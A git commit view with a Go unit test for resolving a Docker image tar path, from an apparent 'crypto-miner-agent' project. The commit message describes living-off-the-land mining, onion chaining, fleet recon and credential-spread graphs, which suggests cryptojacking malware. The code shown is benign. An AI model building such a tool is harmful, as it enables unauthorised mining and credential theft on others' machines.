Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -0,0 +1,37 @@
package miner
import (
"os"
"path/filepath"
"testing"
"crypto-miner-agent/config"
)
func TestResolveImageTarFromEnv(t *testing.T) {
dir := t.TempDir()
tarPath := filepath.Join(dir, "worker.tar")
if err := os.WriteFile(tarPath, []byte("fake-tar"), 0644); err != nil {
t.Fatal(err)
}
t.Setenv("AETHERFORGE_DOCKER_IMAGE_TAR", tarPath)
defer SetImageTarFetcher(nil)
got, err := ResolveImageTar(config.RuntimeConfig{})
if err != nil {
t.Fatalf("ResolveImageTar: %v", err)
}
if got != tarPath {
t.Fatalf("got %q want %q", got, tarPath)
}
if !HasImageTarPolicy(config.RuntimeConfig{}) {
t.Fatal("HasImageTarPolicy should be true")
}
}
func TestResolveImageTarMissing(t *testing.T) {
t.Setenv("AETHERFORGE_DOCKER_IMAGE_TAR", "")
if _, err := ResolveImageTar(config.RuntimeConfig{}); err == nil {
t.Fatal("expected error without tar")
}
}